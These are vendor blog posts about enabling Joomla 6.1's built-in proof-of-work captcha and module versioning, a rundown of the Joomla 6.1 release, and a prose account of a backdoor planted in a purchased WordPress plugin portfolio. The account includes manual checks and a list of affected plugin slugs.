Difficulty. Easy, Medium, or Hard. Easy is fine for a normal contact form. Hard adds more compute cost per submission, useful on endpoints that attract heavy spam like user registration or comment forms. Default is Easy and there is no reason to change it until you see real abuse.
Automatic Solution. Controls when the browser starts solving the puzzle. When CAPTCHA field receives focus is the default and works well. On page load starts solving earlier, fractionally better for slow devices but means the puzzle runs even if the visitor never submits. On submit delays solving until the visitor clicks submit and adds a visible pause. Stick with the default.
Expiration. How long the solved puzzle stays valid. Five minutes is the default, which matches how long a real visitor takes to fill out a contact form. If you have a long multi-page form, bump it higher.

Set Status to Enabled and hit Save & Close.

Step 2: Make it the site-wide default

Go to System, then Global Configuration, then the Site tab. Find the Default Captcha field. It will currently be set to - None Selected - or whichever captcha plugin you were using before.

Change it to CAPTCHA - Proof of Work and save.

That is it. Any form in Joomla that uses the captcha API now gets POW captcha by default. That covers Joomla's own contact forms, user registration, password reset forms, and most well-behaved third-party extensions.

Step 3: Verify it actually works

Open the site's contact form in a private browser window. Submit it with a test message. The submission should go through with no visible captcha challenge. If the form has a hard-coded reCAPTCHA widget from a template override or a third-party extension, you will see it and that is the hint to fix it separately.

If you want to see the plugin in action, open the browser devtools, watch the Network tab, and submit the form. You should see an extra form field named altcha or similar going up with the submission. That is the solved puzzle.

Step 4: Turn off Google reCAPTCHA if you were using it

Now that POW captcha is the default, the reCAPTCHA plugin is doing nothing. Go back to Extensions, then Plugins, find CAPTCHA - ReCAPTCHA, disable it, and remove the site key and secret key from the plugin configuration. Removing the keys now means they are not sitting in the database as a liability if the site is compromised later.

What Is a Proof-of-Work Captcha, Actually?

Traditional captchas ask a human to prove they are human. Pick the traffic lights. Read the distorted text. Click the checkbox that Google's fingerprinting thinks a real browser clicked. They all share a flaw: if the bot is good enough at the specific task, it wins. Bots have gotten very good.

Proof-of-work flips the question. Instead of testing humans against bots, it asks both of them to do a small bit of computational work before the form submission counts. The browser is given a random number and a target, and it has to find another number whose combined hash matches the target. This is the same Hashcash-style puzzle that underpins Bitcoin, just tuned to take a fraction of a second in a browser rather than ten minutes on a mining rig.

A legitimate visitor submitting one contact form does not notice the extra few hundred milliseconds. A spammer trying to submit the same form ten thousand times an hour absolutely notices the extra thousand CPU-seconds. Spam is an economics problem, and POW captchas break the economics.

Why "proof of work" beats "prove you are human"

The "are you human" framing assumes there is a test a human passes and a bot fails. In 2024, researchers at ETH Zurich showed that bots now solve reCAPTCHA v2 challenges 100% of the time, matching human success rates. The test has stopped testing anything. Proof of work does not care whether the submitter is human; it just charges both of them for the privilege of submitting.

Where Does Altcha Fit In?

The Joomla plugin is called plg_captcha_powcaptcha on purpose. The naming is library-agnostic so the Joomla project can swap the underlying implementation later if a better one comes along. For now, the engine is Altcha, an MIT-licensed proof-of-work library maintained by BAU Software s.r.o. in Brno, Czechia.

Altcha has been around since 2023 and is now on version 3. It supports several hash algorithms (SHA-256 with a key derivation function is the default, with optional Argon2id and scrypt), is small enough to ship in core without bloating Joomla, and documents itself as WCAG 2.2 Level AA and European Accessibility Act 2025 compliant. Akeeba Ltd already shipped a third-party plg_captcha_altcha plugin for Joomla users who wanted this earlier, and Nicholas Dionysopoulos continues to maintain it. From Joomla 6.1 onwards, the functionality is in core.

The decision to bundle Altcha rather than roll a Joomla-specific library was the right call. Captchas have subtle implementation failures that only show up at scale, and piggybacking on a library used outside the Joomla world means bugs get found and fixed by a larger pool of eyes.

What Happens Under the Hood When a Form Is Submitted?

Worth a minute if you ever need to debug why a submission is being rejected.

When the form renders, the server embeds a challenge into the form HTML: a random salt, a random number, and a target hash value. These get stored in the database so the server can verify them later.
The visitor's browser runs a small JavaScript function that tries increasing numbers until it finds one where hash(salt + number) <= target. This is the "work". At Easy difficulty, a modern browser finds a solution in 100 to 500 milliseconds. At Hard, 2 to 3 seconds.
When the form is submitted, the found number is sent along with the other form data.
The server retrieves the original challenge, verifies the submitted number is a valid solution, checks the submission is not past the expiration window, and then deletes the challenge row so the solution cannot be replayed.

The database table is created by the SQL migration in administrator/components/com_admin/sql/updates/mysql/6.1.0-2025-11-29.sql. It is small. The provider class in plugins/captcha/powcaptcha/src/Provider/POWCaptchaProvider.php handles verification.

One practical consequence: the captcha is stateful. A site with millions of form views per hour will see millions of rows being written and deleted in that table. For the contact form on a brochure site this is nothing. For a high-traffic registration endpoint it is a worth-watching load.

What Does This Mean for GDPR?

A real issue, not a theoretical one. In France, the CNIL has ruled that Google reCAPTCHA accesses terminal data beyond what is strictly necessary for security. Under Article 82 of the French Data Protection Act, that means sites need prior consent before reCAPTCHA loads. CITYSCOOT was fined EUR 125,000 and NS CARDS FRANCE EUR 105,000, in both cases partly for improper reCAPTCHA deployment.

In practice, that ruling has not stopped anyone from using reCAPTCHA, because the consent banner shows up before the captcha loads and everyone clicks Accept without reading. But it has created a compliance debt nobody quite wants to deal with. German data protection authorities have taken similar positions over the years, and since Joomla has a strong German contributor base, I would guess that is part of why the project prioritised a self-hosted alternative.

POW captcha does not send anything to any third party. There is no external request, no fingerprinting, no cookie set by the captcha. Whatever cookie policy your site has for other reasons still applies, but the captcha is not adding anything to disclose. For EU-facing sites where the cookie banner is already a UX tax, that is one less line on the list.

What About Accessibility?

Traditional captchas have been a disaster for disabled users since the day they were invented. The W3C published the note Inaccessibility of CAPTCHA back in 2005 documenting how visual, audio, and cognitive challenges all exclude some group of legitimate users. Twenty-one years later, image grids are still the default experience on most reCAPTCHA-protected forms.

POW captcha is invisible. There is no test the visitor fails. A screen reader user, a keyboard-only user, someone with motor control issues, someone on a weird mobile browser: all of them fill the form and submit, the puzzle solves in the background, and it works. The Altcha project documents itself as WCAG 2.2 Level AA and European Accessibility Act 2025 compliant, and I believe them, because there is nothing for the visitor to interact with in the first place.

What Does Not Work Yet: Rate Limiting

The pull request description calls this out honestly. Altcha recommends ramping up puzzle difficulty when the same source keeps submitting. A first submission gets Easy difficulty. The tenth submission in ten minutes from the same IP gets Hard. The hundredth gets punishingly hard. This makes spam runs progressively more expensive and eventually uneconomic.

Joomla 6.1 does not do this yet. The reason is that Joomla core does not have a generic rate-limiting framework, and building one is its own medium-sized project. The captcha plugin still blocks casual bots just fine at a fixed difficulty; where the missing framework shows up is the dedicated spammer who does not care about cost per submission and will grind through.

The framework is on the official roadmap, but not for 6.x. Harald Leithner is leading a Rate Limiting Framework feature proposal targeted at Joomla 7.x, currently in Planning. The design will be modelled on Symfony's Rate Limiter and cover login, password reset, MFA, search, contact forms, and captcha difficulty escalation. There is no open PR or issue in the joomla-cms repo against it yet; the feature entry is the only public artifact. Do not expect automatic difficulty ramping in any 6.x release.

Practical advice: if you have a specific endpoint that is getting hammered, crank the plugin's Difficulty to Hard globally. That slows every legitimate visitor by one or two seconds. Annoying but acceptable. The alternative is layering in separate rate limiting at the web server or WAF level.

Common Gotchas When Switching to POW Captcha

Things to check after you have enabled the plugin and set it as the default.

Hard-coded reCAPTCHA in a template. Some Joomla templates include a reCAPTCHA widget directly in the contact form override. Changing the Default Captcha in Global Configuration does not affect these. You need to edit the template override, or switch to a template that uses the Joomla captcha API.

Third-party form builders. Most of the major Joomla form builders (ChronoForms, Convert Forms, RSForm!Pro, Fabrik) integrate with the Joomla captcha API and pick up the Default Captcha automatically. Some older extensions have their own captcha settings inside the form editor that need to be changed form by form.

Caching plugins. If you use a page cache on the front end, the captcha challenge is baked into the cached HTML and the same challenge is served to every visitor. That is both a functional bug (challenges can be replayed) and a security problem. Most Joomla caching setups already exclude contact-form pages from caching; double-check yours.

Privacy policy. Your privacy policy might currently say "we use Google reCAPTCHA to prevent spam". Delete that sentence. If you are using the POW captcha, the privacy policy does not need to mention any third-party service for form protection.

Should You Switch Everything to POW Captcha Today?

Short answer: yes, but do not rip out reCAPTCHA without a plan.

Long answer: set POW captcha as the Joomla default on every site. Check each site's forms still work. On sites where reCAPTCHA is only wired up through the Joomla captcha API, you can then disable the Google reCAPTCHA plugin and delete the API keys. On sites where reCAPTCHA is hard-coded into a third-party extension or a custom template, update those integrations individually.

The big risk is not technical, it is completeness. Half-switched sites are worse than fully-on-one-or-the-other sites, because now you have two captcha plugins enabled and the site is doing two sets of work for every form submission. Make a list, work through it, check each site, mark it done. That is exactly the kind of thing the mySites.guru Enable POW Captcha tool is for.

How to Turn On Module Versioning in Joomla 6.1

phil@mysites.guru (Phil Taylor) — Wed, 15 Apr 2026 00:00:00 GMT

Joomla 6.1 shipped yesterday with one feature that will feel overdue to anyone who has ever lost a module edit: version history for modules. Articles have had this since Joomla 3.2 in 2013. Menu items, categories, tags, contacts, newsfeeds, and user notes picked it up along the way. Modules were the glaring hole in the list. Joomla 6.1.0 finally closes it.

If you manage Joomla sites for clients, you have almost certainly been bitten by this. A typo in a custom HTML module, a bad class name on a menu module, a well-meaning client who "just tweaked the footer" and took their own site offline. Without versioning, the only way back is your last backup, or opening the module side by side with a staging copy and reconstructing the old content by hand.

In 6.1, once you turn the feature on, every module save is captured. Open the Versions panel while editing and you get the same diff-and-restore UI you already use for articles. One click and the module is back.

How mySites.guru Enables Joomla Module Versioning on Every Site at Once

Joomla 6.1 ships with module versioning turned off. On a single site that is a two-click fix. On thirty client sites it is thirty logins, thirty Options dialogs, thirty Save clicks, and thirty reasons to put it off until next week.

mySites.guru now ships a new audit tool called Enable Joomla Module Versioning For Safe Rollback Of Module Edits that runs on every Joomla 6.1 snapshot. It reads the com_modules component params, checks whether save_history is set to 1, and flags any site where it is not. The fix is a single click: the connector writes save_history = 1 and sets a sensible history_limit of 10 if one is not already configured, directly to the #__extensions table. No admin login. No browser tab juggling.

One click on Auto-Magically Fix This For Me and the same check comes back green:

From the all-sites tool view you can see the module versioning status for every connected Joomla 6.1 site in one table and toggle on the ones that are still off. If you manage multiple Joomla sites, this is thirty minutes of busywork collapsed into one button.

The audit tool only runs on Joomla 6.1 and later, since the feature itself does not exist on older versions. Older sites are simply skipped in the check.

How Do You Enable Joomla Module Versioning Manually in Joomla 6.1?

If you only have one Joomla site, or you want to understand what the setting does before pushing it out across your portfolio, it is a quick fix:

Log into the Joomla 6.1 admin.
Go to Components, then Modules.
Click the Options button in the top right of the toolbar.
On the Component tab, set Save History to Yes.
Leave Maximum Versions at the default of 10, or bump it higher if you edit modules frequently and want a longer rollback window.
Click Save and Close.

That is it. From this point on, every module save is tracked.

One thing that trips people up: the setting is on the component level, not in System → Global Configuration. Joomla has a Global Configuration panel that covers site-wide settings like the site name and session lifetime. Component-specific settings like this one live on each component's own Options screen, reached through the Components menu. Some older tutorials for content history refer to Global Configuration, but for modules in 6.1 the field is specifically in the com_modules component config.

You can also reach the same setting through Extensions → Modules → Options. It is the same underlying config row in the database, so changing it in either location applies everywhere.

What Does Joomla 6.1 Module Versioning Actually Do Under the Hood?

The implementation is smaller than you might expect. Robert Deutz's pull request #46772 adds just 78 lines of production code. It works by:

Adding modules as content type id 14 in the #__content_types table. This is the table the com_contenthistory system uses to know what kinds of items can be versioned. Pre-6.1 there were 13 types (articles, categories, contacts, tags, and so on). 6.1 adds com_modules.module as id 14.
Flipping the save_history switch in com_modules component params. When save_history is 1, the existing contenthistory hook captures every module save.
Adding a history_limit field in the same component params, defaulting to 10. This tells contenthistory how many versions to keep per module before pruning old ones.
Adding a version_note text field to the module edit form. When you save a module, you can optionally leave a short note describing the change. The note appears in the Versions list, so future-you (or whoever has to roll back) can see "fixed client logo width" instead of a timestamp.

Everything else already existed. The diff UI, the restore button, the Keep Forever flag, the #__ucm_history storage table - all of it was built for articles years ago and has been reused for every item type added since. Wiring modules into the same system is a few lines of XML and a content type row. The fact that it took twelve years to get here is more a story about how much is already on the Joomla project's plate than about the difficulty of the feature.

Why this matters for agency work

The rollback safety net is the obvious win, but the audit trail is the quieter benefit. Every version row records who made the change, when, and optionally why. On a shared admin account that is not great, but on a properly configured site with per-user Joomla logins, it becomes a simple answer to "who broke the homepage module last Tuesday."

What Did Joomla Module Versioning Look Like Before Joomla 6.1?

If you have been on Joomla for a while, you know the workarounds. Most of them were ugly.

Third-party extensions. The Module Version extension by RickR2H has lived on the JED for years. It does roughly what 6.1 now does natively. Respectable piece of work, and if you are still on 5.x or earlier it is still the best option. From 6.1 forward you can drop it.

Snapshot plugins. A pile of third-party backup and audit tools save module configurations on a schedule. That is backup, not version history. It works if you notice the problem within the backup window, not if a client discovers the bad edit three weeks later.

Manual copy-paste in custom HTML modules. The field hack: before every edit, copy the existing HTML into a text file with today's date. Works on one module. Does not work on thirty.

Staging sites. A proper staging workflow solves this, but every small client edit through a staging cycle is its own kind of overhead. For a "just swap the phone number in the header module" change, most agencies skip staging and take the risk.

Native 6.1 versioning kills every one of these workarounds for the specific case of module edits.

Are There Things That Joomla Module Versioning in 6.1 Does Not Cover?

Two caveats worth knowing before you sell this feature to a client.

Frontend editing is not tracked. The 6.1.0 implementation is admin-only. If a user edits a module through the frontend editing UI, that save does not hit the contenthistory hook and does not create a version row. This is a known follow-up, raised by Brian Teeman in the PR review. Expect frontend support in a future 6.x release. For now, treat frontend module edits as unversioned, and steer important changes through the admin panel where possible.

Existing modules have no history until you enable the feature. Versioning starts recording at the moment you flip save_history on. It is not retroactive. If you turn it on today and a module was broken last week, last week's good state is not in the history. This is why getting it enabled across your portfolio early is worth doing: every day you leave it off is a day of potential rollbacks you will never have.

The Versions button only appears when com_contenthistory is enabled. On a default Joomla 6.1 install it is enabled. If you have been through a migration or disabled it for some reason, the Versions UI will not appear in the module edit toolbar even with save_history on. Re-enable com_contenthistory under Extensions → Plugins.

How Does mySites.guru Enable Module Versioning in Joomla 6.1?

For the curious, here is what happens when you click Fix This For Me on the Enable Module Versioning check.

The mySites.guru connector sits on each managed site as a lightweight PHP bridge. When the dashboard sends a fix request for module versioning, the connector:

Reads the current params JSON from the #__extensions row where name = 'com_modules' and type = 'component'.
Parses the JSON, or falls back to an empty object if the params are missing or malformed.
Sets save_history to '1'.
Sets history_limit to '10' if it is not already a positive integer (respecting a value you set manually).
Writes the updated params back to the #__extensions table in a single UPDATE query.
Reads back the saved value and returns it to the dashboard so the next snapshot reflects the change.

No filesystem writes. No Joomla admin session. No reliance on the web UI. It is the same mechanism we use for every other Joomla audit and fix tool, and it scales linearly: enabling versioning on 100 sites takes roughly as long as enabling it on 1.

Frequently Asked Questions

Does enabling module versioning slow down the admin?

No. The contenthistory hook is a lightweight insert into a single table on module save. There is no performance impact on admin page loads or frontend rendering. The only time you notice it is when you open the Versions panel, and even then it is a simple query against #__ucm_history filtered by item id.

Can I set a different history_limit per module?

Not in 6.1. The history_limit is set at the component level and applies to every module saved through com_modules. A higher per-module limit may come later, but for now set the component-level limit to the highest value you want for any module, and rely on the Keep Forever flag on individual versions to preserve the specific states you never want pruned.

What happens to versions when I delete a module?

The contenthistory rows for the deleted module stay in #__ucm_history by default. If you restore the module from the trash, the history is still there. If you permanently delete the module, the history rows become orphaned but do not cause harm. Joomla has no built-in cleanup for orphaned history rows, so a very long-lived site may accumulate some. It is a non-issue on any reasonably young site.

Does module versioning apply to menu modules?

Yes. Menu modules are just modules from com_modules' perspective. Once save_history is on, menu module edits are tracked like any other. This is separate from the existing menu item versioning, which tracks the menu items themselves.

Joomla 6.1.0 Released - What's New

phil@mysites.guru (Phil Taylor) — Tue, 14 Apr 2026 00:00:00 GMT

Joomla 6.1.0 stable landed today, 14 April 2026. First minor release since 6.0 dropped in October 2025, and there are a few things in it worth knowing about.

If you manage multiple Joomla sites, the mySites.guru compatibility checker can confirm all your sites meet the Joomla 6 technical requirements before you start rolling out updates. The tool scans every connected site's PHP version, database version, and update channel in one view - no logging into 30 different admin panels.

The Three Headline Features in Joomla 6.1

The Joomla project promoted three features as the headline additions for 6.1. None will change your life, but they each fix something that's been mildly annoying for years.

Visual workflow editor

Joomla's content workflow system has existed since Joomla 4, but configuring it meant working through form fields and mentally mapping out stage transitions. Joomla 6.1 adds a graphical drag-and-drop editor that lets you visually design workflow stages and transitions. For agencies managing editorial workflows across client sites, this turns a clunky setup process into something you can actually demonstrate to a client in a meeting.

Built-in POW captcha

"POW" stands for proof-of-work. The idea is borrowed from cryptocurrency mining, but applied to spam prevention. When a visitor submits a form, their browser has to solve a small computational puzzle before the submission goes through. The puzzle takes a fraction of a second for a real browser on a real device, but it's expensive to solve at scale. A spammer trying to submit thousands of forms would need thousands of times the computing power, which makes automated spam economically pointless.

The key difference from reCAPTCHA or hCaptcha: everything happens locally. The visitor's browser does the work and proves it did, without contacting any external server. There's no API key to configure, no third-party JavaScript to load, no visitor data leaving the site, and no cookie consent banner needed for the captcha.

For agencies this is genuinely useful. Setting up spam protection on a new client site today means registering for a reCAPTCHA account, generating API keys, pasting them into the Joomla admin, and hoping the client doesn't lose the keys when they change their Google account. Multiply that by 30 or 50 sites and you can see why I'm pleased about this one. With POW you enable a core plugin and you're done.

It also sidesteps the GDPR question. reCAPTCHA sends visitor data to Google, so you need consent in the EU. POW doesn't phone home to anyone, so there's nothing to disclose. Joomla has a strong German contributor base and Germans don't mess about with GDPR, so I'd guess that's part of why this exists. Either way, it's a better default.

For the step-by-step on how to enable it across one site or every Joomla 6.1 site in your portfolio, see how to enable POW captcha in Joomla 6.1.

Media custom fields for audio, video, and documents

The media custom field plugin previously only handled images. In 6.1, it supports audio, video, and document file types. This is useful for sites that need to attach downloadable PDFs, audio clips, or video files to articles through structured custom fields rather than dumping everything into the article body.

The Smaller Wins Shipped Alongside 6.1

A pile of smaller things shipped too.

Modules now have version tracking - something articles have had for years. If you've ever lost a module change and wished you could roll back, this finally fixes that. I wrote up how to turn module versioning on manually and across every site at once. Modules also gain association support across languages.

The default Cassiopeia template's child now includes built-in colour and font-size customisation without needing custom CSS. Clients can adjust brand colours directly from the template settings panel. The Joomla Community Magazine wrote about this when it first landed - worth a read if you're tired of writing CSS overrides for every client.

All plugins (except compatibility plugins) now load lazily, which should reduce memory usage on sites with many plugins installed. MFA enforcement has been tightened too - administrators can now force or exempt multi-factor authentication for superuser accounts specifically, which matters for agencies where multiple team members share admin access.

Some smaller wins: tags can be copied and moved in batch (finally), TinyMCE can handle <abbr> elements for accessibility, subforms get a grid layout option that looks cleaner on mobile, and there's a new CLI command to enable/disable extensions from the command line.

The language override view now shows status and lets you quick-create missing overrides, which saves a lot of scrolling. The API picks up Schema.org data integration for anyone building headless Joomla sites. And for developers: the Web Asset Manager now supports a nocache version string in joomla.asset.json, which forces cache-busting during development so you stop wondering why your JS changes aren't showing up.

What Should Joomla Agency Owners Do About 6.1?

If you're managing client sites, don't just hit "update all" and hope for the best.

Check compatibility. Use the mySites.guru Joomla 6 compatibility tool to review your sites' PHP and database versions. Joomla 6.1 has the same requirements as 6.0 (PHP 8.3+, MySQL 8.0.13+/MariaDB 10.4+), so if your sites are already on 6.0, you're clear.
Verify update channels. Make sure production sites are on the Default update channel, not "Joomla Next". The Default channel delivers minor updates like 6.0 to 6.1 safely. See how to prevent accidental Joomla version jumps if you haven't set this up.
Check automated updates. Joomla 5.4 introduced automated core updates that can apply patches without admin intervention. If you prefer to control when updates happen, disable automated upgrades before 6.1 rolls out to your sites.
Test on one site first. Pick a low-risk client site, apply the update, check that templates and extensions work. You can compare template versions across your portfolio to spot inconsistencies. Pay attention to any custom child templates - Joomla 6.1 changed how child templates handle language files (they now extend rather than override), which could affect custom translations.
Roll out in batches. Once you're confident, use the mySites.guru bulk update tool to push the update across your remaining sites from one dashboard.

Technical Requirements Are Unchanged From 6.0

No. The minimum requirements are identical to Joomla 6.0:

Requirement	Minimum	Recommended
PHP	8.3.0	8.4+
MySQL	8.0.13	8.4+
MariaDB	10.4.0	12.0+

If your server already runs Joomla 6.0, no infrastructure changes are needed for 6.1. For a deeper look at these requirements and what they mean for your hosting, see the full Joomla 6 technical requirements breakdown.

Are There Breaking Changes in Joomla 6.1?

A few things to watch for:

Child template language files now extend parent language files instead of overriding them. If you've customised language strings in a child template, check they still apply after the update. This is the one most likely to bite you.
The deprecated dispatcher usage and OPTGROUP handling have both been removed. Extensions still using the old patterns may break.
Plugin lazy loading is now the default. Compatibility plugins are excluded, but custom plugins that assumed a specific loading order may need adjustment.

Extension developers should review the migration guide for the full list.

Known issues shipping with 6.1

There's at least one known bug that made it into the stable release: if you enable Debug System in Global Configuration and set Query Explains to "Show" in the Debug plugin, all AJAX calls on the admin dashboard will fail with 500 errors (#47526). This has been present since RC1 with no fix attached yet. If you use debug mode on production (you shouldn't, but people do), leave Query Explains turned off until a 6.1.1 patch lands.

There's also an open draft PR to harden WebAuthn unserialize calls against PHP object injection - a security fix that didn't make the 6.1.0 cut but should arrive in a patch release soon.

Joomla.org Got a Redesign Alongside the Release

Yes. Alongside the 6.1 release, joomla.org has had a facelift. The homepage now uses the same design language as 6.joomla.org, with a layout and typography that finally match the CMS it's selling. Trying to convince a client that Joomla is a modern platform is a lot harder when the project's own homepage looks like it was built in 2018, so I'm glad to see this one land.

What Features Were Planned for Joomla 6.1 but Didn't Make It?

The Alpha 1 announcement mentioned several features "in development" that didn't make the cut. I dug into the current status of each one:

AI integration via MCP servers - A proof-of-concept was built during a January 2026 sprint by four core contributors, but it still needs cleanup, installation scripts, and tests before it's PR-ready. There's no open PR in joomla-cms yet and no confirmed version target. Don't hold your breath for 6.2.
Rate-limiting framework - This one has been explicitly pushed to Joomla 7.x (2027+) on the official strategy page. It's not coming in any 6.x release.
Health checker tool - The project exists in the joomla-projects/HealthChecker repo but hasn't been merged into core. No PR targeting joomla-cms has been opened. If you want a health checker now, Joomla Health Checker is free, or mySites.guru gives you deeper insights across all your sites.
Full WCAG 2.2 AA compliance - Listed as "in planning" on the features tracker with no version assigned. There are a few incremental accessibility PRs targeting 6.2 (aria-disabled for toolbar buttons, admin sidebar improvements, alt text for language module images), but nothing close to a comprehensive WCAG 2.2 sweep.

Joomla 6.2 is scheduled for 13 October 2026, with Alpha 1 on 26 May 2026. Based on the PR activity, expect incremental improvements rather than any of these headline features landing.

Joomla 6.1 Release Timeline

The full development cycle from first alpha to stable took five months:

Milestone	Date
Alpha 1	25 November 2025
Alpha 2	23 December 2025
Alpha 3	20 January 2026
Beta 1 (feature freeze)	17 February 2026
Beta 2	3 March 2026
Beta 3	17 March 2026
RC 1	31 March 2026
RC 2	7 April 2026
RC 3	13 April 2026
Stable	14 April 2026

Feature freeze at Beta 1, then three months of stabilisation. The project has settled into a predictable six-month minor release cadence, which makes planning client upgrades much easier.

What About Sites Still on Joomla 5?

Joomla 5.4.5 shipped the same day as 6.1, a bugfix release for the 5.x series with 12 merged pull requests. Nothing headline-grabbing, but a useful cleanup pass:

Prevents recursion in the loadposition and loadmodule plugins
Fixes a double timezone conversion in Media Manager file dates
Corrects RTL/LTR corner radius inconsistencies
Resets the media manager rotate angle input properly
Improves TinyMCE custom CSS loading
Fixes a custom fields regex pattern in ShowOnRule
Highlights modal category field validation correctly
Warns about duplicate subform fields
Corrects an association template file path

Joomla 5 is still under active maintenance, so if you have clients who aren't ready to move to 6.x yet, 5.4.5 is a safe maintenance update. Grab it from downloads.joomla.org or let mySites.guru push it across your portfolio in one go. Joomla then followed up on 26 May 2026 with a joint 5.4.6 and 6.1.1 security release covering ten CVEs including an MFA bypass and a com_users privilege escalation, so anything still on 5.4.5 or 6.1.0 needs that patch next.

The WordPress Plugin You Trusted Was Sold to an Attacker

phil@mysites.guru (Phil Taylor) — Sun, 12 Apr 2026 00:00:00 GMT

On April 5, 2026, a backdoor hidden inside 31 WordPress plugins woke up. It had been sitting dormant for eight months, planted by a buyer who acquired the entire Essential Plugin portfolio in early 2025. Their very first code commit was the backdoor. When it activated, it injected SEO spam into wp-config.php across every site running any of the affected plugins.

There is no CVE, and no patch that fixes this. These plugins are permanently closed on WordPress.org and will never be updated again. If any of them are on your sites, remove them and check for damage.

Austin Ginder at Anchor Hosting found this while doing forensic work on a client site and wrote up the full technical breakdown. This post covers what you need to know, what mySites.guru found across our platform, and how to check your own sites.

This is the second supply chain attack on WordPress in a single week, after the Smart Slider 3 Pro 3.5.1.35 compromise we covered on April 8. Different attackers, different methods, same outcome.

How Did the Essential Plugin WordPress Backdoor Work?

A buyer going by "Kris" picked up the Essential Plugin portfolio (formerly WP Online Support) on Flippa for a six-figure sum. That gave them 31 plugins with a combined install base in the hundreds of thousands. On May 12, 2025, a new essentialplugin account showed up on WordPress.org with SVN commit access to all 31.

On August 8, 2025, the buyer's first code commit landed in version 2.6.7. The changelog said "Check compatibility with WordPress version 6.8.2." In reality, it added 191 lines of backdoor code hidden inside the plugin's existing analytics module.

The short version: the plugin phones home to the attacker's server, the server sends back malicious code, and the plugin executes it. The attacker then drops a fake core file called wp-comments-posts.php into the webroot and injects SEO spam into wp-config.php. The spam only shows up for Googlebot, so site owners never see it when browsing their own site. To make it harder to shut down, the attacker resolves their command-and-control domain through an Ethereum smart contract instead of normal DNS, so taking down one domain does not help.

For a full technical breakdown of the deserialization chain, REST endpoint abuse, and C2 evasion, read Austin Ginder's original writeup.

From August 8, 2025 until April 5, 2026, the attacker's server just returned normal responses. Eight months of nothing. Then it flipped and started serving malicious payloads.

What Did WordPress.org Do?

WordPress.org responded on April 7, 2026:

Issued a dashboard security notice to affected site owners
Permanently closed all 31 Essential Plugin plugins (they cannot be reinstalled from the directory)
Force-pushed version 2.6.9.1 on April 8, which added return; statements to disable the phone-home function

The problem: the forced update does not clean wp-config.php. If your site was compromised before April 8, the SEO spam injection is still sitting in your configuration file. The update stops the phone-home, but it does not undo what already happened.

Remove these plugins entirely. They are dead. WordPress.org will never reopen them, and v2.6.9.1 is a bandaid on a corpse. Find alternatives for anything you were using them for.

The forced update does not clean existing infections.

WordPress.org's v2.6.9.1 disables the backdoor module but leaves injected code in wp-config.php untouched. If any of these plugins were active on your site before April 8, 2026, you must manually inspect wp-config.php for injected PHP code near the require_once ABSPATH . 'wp-settings.php' line. Infected files grow by approximately 6KB.

How WordPress.org Could Have Prevented This

WordPress.org does have a plugin ownership transfer process. For plugins under 10,000 users, the current owner can transfer via self-service. For larger plugins, the current owner emails plugins@wordpress.org and the team verifies the request is legitimate.

The gap is what happens after the transfer. WordPress.org checks that the current owner authorised it, but does not vet the new owner, does not review their first code commit, and does not notify existing users that the plugin changed hands. The buyer in this case created a fresh WordPress.org account, received SVN access to 31 plugins, and committed a backdoor on day one. The transfer process worked exactly as designed. It just was not designed for this.

Apple requires a full re-review when an iOS app changes ownership. Google Play has a developer verification process. WordPress.org verifies the seller wants to sell, but not whether the buyer should be trusted with the code.

A change-of-control notification to existing users and a mandatory code review on the new owner's first commit would have caught this.

How to Check Your WordPress Sites for the Essential Plugin Backdoor with mySites.guru

If you manage more than a handful of WordPress sites, checking each one by hand is a waste of a day. mySites.guru's extension inventory tracks every installed plugin across all connected sites. We found dozens of affected sites across the platform and have already contacted every customer running one of these plugins.

Use the search links below to check your own portfolio. Each link opens the mySites.guru extension search page filtered for that specific plugin, showing you every site where it is installed and which version is running:

mySites.guru subscribers: search your sites for affected plugins

Already have a mySites.guru account? Click any plugin name below to jump straight to your extension search, filtered for that plugin across all your connected sites. If you find any, remove the plugin and inspect wp-config.php for injected code.

The following plugins from the affected list have never appeared on any mySites.guru-monitored site: Album and Image Gallery plus Lightbox, Audio Player with Playlist Ultimate, Blog Designer for Post and Widget, Featured Post Creative, HTML5 VideoGallery Plus Player, Portfolio and Projects, Preloader for Website, Responsive WP FAQ with Category, SlidersPack - All in One Image Sliders, Styles for WP PageNavi - Addon, Ticker Ultimate, WP Featured Content and Slider, WP Logo Showcase Responsive Slider and Carousel, WP Trending Post Slider and Widget.

Combined with the mass plugin updater, you can identify and act on every affected site in your portfolio in minutes rather than spending a day logging into sites one by one.

If you do not have a mySites.guru account, start a free trial and connect your sites. The plugin index builds automatically on the first snapshot.

What to look for manually

If you are checking a single site by hand, look for these three things:

Check wp-config.php: Open the file and look for unexpected PHP code near the require_once ABSPATH . 'wp-settings.php' line. Infected files grow by approximately 6KB.
Search for wp-comments-posts.php: This file should not exist in a clean WordPress installation. Check the webroot.
Search your plugins directory: Look for any of the 31 affected plugin slugs listed below. If any are present, remove them regardless of version.

The Full List of Affected WordPress Plugins

All 31 plugins from the Essential Plugin (WP Online Support) portfolio that WordPress.org permanently closed on April 7, 2026:

Countdown Timer Ultimate (countdown-timer-ultimate)
Popup Anything on Click (popup-anything-on-click)
WP Testimonial with Widget (wp-testimonial-with-widget)
WP Team Showcase and Slider (wp-team-showcase-and-slider)
Responsive WP FAQ with Category (sp-faq)
SP News and Widget (sp-news-and-widget)
WP Blog and Widgets (wp-blog-and-widgets)
Album and Image Gallery plus Lightbox (album-and-image-gallery-plus-lightbox)
Timeline and History Slider (timeline-and-history-slider)
Featured Post Creative (featured-post-creative)
Post Grid and Filter Ultimate (post-grid-and-filter-ultimate)
Footer Mega Grid Columns (footer-mega-grid-columns)
WP Responsive Recent Post Slider (wp-responsive-recent-post-slider)
WP Slick Slider and Image Carousel (wp-slick-slider-and-image-carousel)
WP Featured Content and Slider (wp-featured-content-and-slider)
Hero Banner Ultimate (hero-banner-ultimate)
Preloader for Website (preloader-for-website)
Accordion and Accordion Slider (accordion-and-accordion-slider)
Portfolio and Projects (portfolio-and-projects)
Ticker Ultimate (ticker-ultimate)
WP Trending Post Slider and Widget (wp-trending-post-slider-and-widget)
Woo Product Slider and Carousel with Category (woo-product-slider-and-carousel-with-category)
Audio Player with Playlist Ultimate (audio-player-with-playlist-ultimate)
Meta Slider and Carousel with Lightbox (meta-slider-and-carousel-with-lightbox)
Post Category Image with Grid and Slider (post-category-image-with-grid-and-slider)
Product Categories Designs for WooCommerce (product-categories-designs-for-woocommerce)
Blog Designer for Post and Widget (blog-designer-for-post-and-widget)
HTML5 VideoGallery Plus Player (html5-videogallery-plus-player)
SlidersPack - All in One Image Sliders (sliderspack-all-in-one-image-sliders)
